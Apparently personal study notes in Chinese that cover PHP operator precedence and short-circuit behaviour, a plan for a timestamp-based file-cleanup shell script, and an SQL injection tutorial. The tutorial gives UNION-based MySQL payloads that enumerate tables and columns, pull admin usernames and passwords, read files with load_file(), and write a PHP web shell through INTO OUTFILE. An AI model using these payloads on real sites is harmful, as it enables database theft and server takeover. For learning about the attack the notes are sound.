PHP:Operator

PHP运算符

foo()和@foo()之间的区别:@foo()会忽略该表达式产生的任何错误

php的错误控制符
php支持一个错误运算符:@.当其放置在一个php表达式之前,该表达式可能产生的任何错误信息都被忽略掉.

运算符优先级

递增/递减 > ! > 算术运算符 > 大小比较 > (不)相等比较 > 引用 > 位运算符(^) > 位运算符(|) > 逻辑与 > 逻辑或 > 三目 > 赋值 > and > xor > or

使用括号可以增加代码可读性

==和===的区别:等值判断,7中False都相等.

递增/递减运算符

(1)递增/递减运算符不影响布尔值
(2)递减NULL值没有效果
(3)递增NULL值为1
(4)递增和递减在前就先运算符后返回(++$a),反之就先返回后运算($a++)

短路作用

$a = true || $b == 3;结果为true,||后不执行.
$b = false && $a == 1;结果为false,&&后不执行.

||、&&和and、or

$a = false || true;结果$a的值为true,||的优先级高于=
$a = false or true;结果$a的值为false,=的优先级高于or

例题

结果:a:1b:1
分析:$a = ((3 > 0) || $b = 3 > 0)运算顺序.由于3 > 0为true发生短路作用,使得$a=true,$b=0,true的递增仍为true,0的递增为1,所以结果得到a:1b:1.

结果:a:1b:1
分析:$a = ((3 < 0) || ($b = (3 > 0)))运算顺序.由于3 < 0为false,计算下一部分,下一部分中3 > 0优先级高于赋值,得到$b = true,得到false || true,得到$a = true.true的递增仍为true,所以结果为a:1b:1.

Shell_Delete File

背景
保留指定时间的文件,并删除不符合指定时间的文件。保留的文件要求是:每日00:00:00-00:59:59的文件,以及24小时以内的文件。

思路
1.通过stat -c %Y filename获取filename的时间戳。
2.通过date +%s获取当前时间戳
3.检测该文件时间戳与当前时间的时间戳相差是否超过1天(86400秒)
4.通过date +%Y-%m-%d获取今天的时间,格式 YYYY-mm-dd
5.拼接字符串,通过””拼接两个字符串,得到YYYY-mm-dd的0点时间,格式为YYYY-mm-dd hh-mm-ss(前mm表示月份,后mm表示分钟)
6.通过date -d “YYYY-mm-dd hh-mm-ss” +%s获取00:00:00的时间戳
7.对第1步所得到的文件时间戳和第6步得到的0点时间戳进行相减(当前时间戳-文件时间戳),再通过取模运算,最后和一天时间(86400秒)相减,并且判断该时间是否在区间(-3600, 0)之间。
通过运算符表示为:
设:文件时间戳为a,当前时间戳为b,则结果表示为((b-a)%86400)-86400

代码(在CentOS 7.6下运行)

SQL Injection

注入漏洞原理:通过修改url参数获取网站的返回值,来判断注入是否存在。
判断注入:
(1)and 1=1(真) and 1=2(假)
(2)or 1=1(假) or 1=2(真)

猜解字段:
1 and 1=1 order by 3
所得到的SQL语句为:
select [column_name] from [table_name] order by 3;
根据第三个字段进行排序。

猜解表段:
1 and 1=2 union select [columns],table_name from information_schema.tables where table_schema=database();
1 and 1=2 union select [columns],table_name from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1;
查询当前数据库中的所有表。
database():返回当前数据库
information_schema存放mysql表等信息,其中information_schema.tables存放表信息,information_schema.columns存放表的列信息

猜解列名:1 and 1=2 union select [columns],table_name,column_name from information_schema.columns where table_schema=database();
查询表中的列名。

猜解管理员账号和密码: 1 and 1=2 union select [columns],[username],[password] from [user];

注入流程:判断注入类型->查询关键信息->收集信息->开始实施入侵

注入类型:
字符型注入
输入的参数位字符型的时候:
SQL语句如下:
select * from table_name where id = ‘x’;
通过and ‘1’=’1和and ‘1’=’2判断:
1.在url中输入127.0.0.1?id=x’ and ‘1’=’1页面正常运行。
2.在url中输入127.0.0.1?id=x’ and ‘1’=’2页面报错。说明此SQL注入为字符型注入。
原因:
在1的情况中,SQL的查询语句变为:select * from table_name where id=’x’ and ‘1’=’1′;
返回的结果是正确的。
在2的情况中,SQL的查询语句变为:select * from table_name where id=’x’ and ‘1’=’2′;
返回的结果是错误的。

数字型注入
输入的参数为数字时:
SQL语句如下:
select * from table_name where id = 1;
通过and 1=1和and 1=2判断:
1.在url中输入127.0.0.1?id=1 and 1=1页面正常运行。
2.在url中输入127.0.0.1?id=1 and 1=2页面报错。说明此SQL注入为数字型注入。
原因:
在1的情况中,SQL的查询语句变为:select * from table_name where id=1 and 1=1;
返回的结果是正确的。
在2的情况中,SQL的查询语句变为:select * from table_name where id=1 and 1=2;
返回的结果是错误的。

Tip:
1.猜测SQL语句中是否有and拼接,如果有可以使用’#’来注释后方的SQL语句,可以使后方SQL语句无法执行。
2.user()当前用户
database()当前数据库
version()数据库版本
@@version_compile_os操作系统
@@datadir 读取数据库路径
@@datadir MYSQL 安装路径
system_user()系统用户名
current_user当前用户名
session_user()连接数据库的用户名
load_file()mysql读取本地文件的函数
3.group_concat(),concat(),concat_ws()的使用
4.select ” from table_name into outfile ‘path.php’;
上传一句话木马。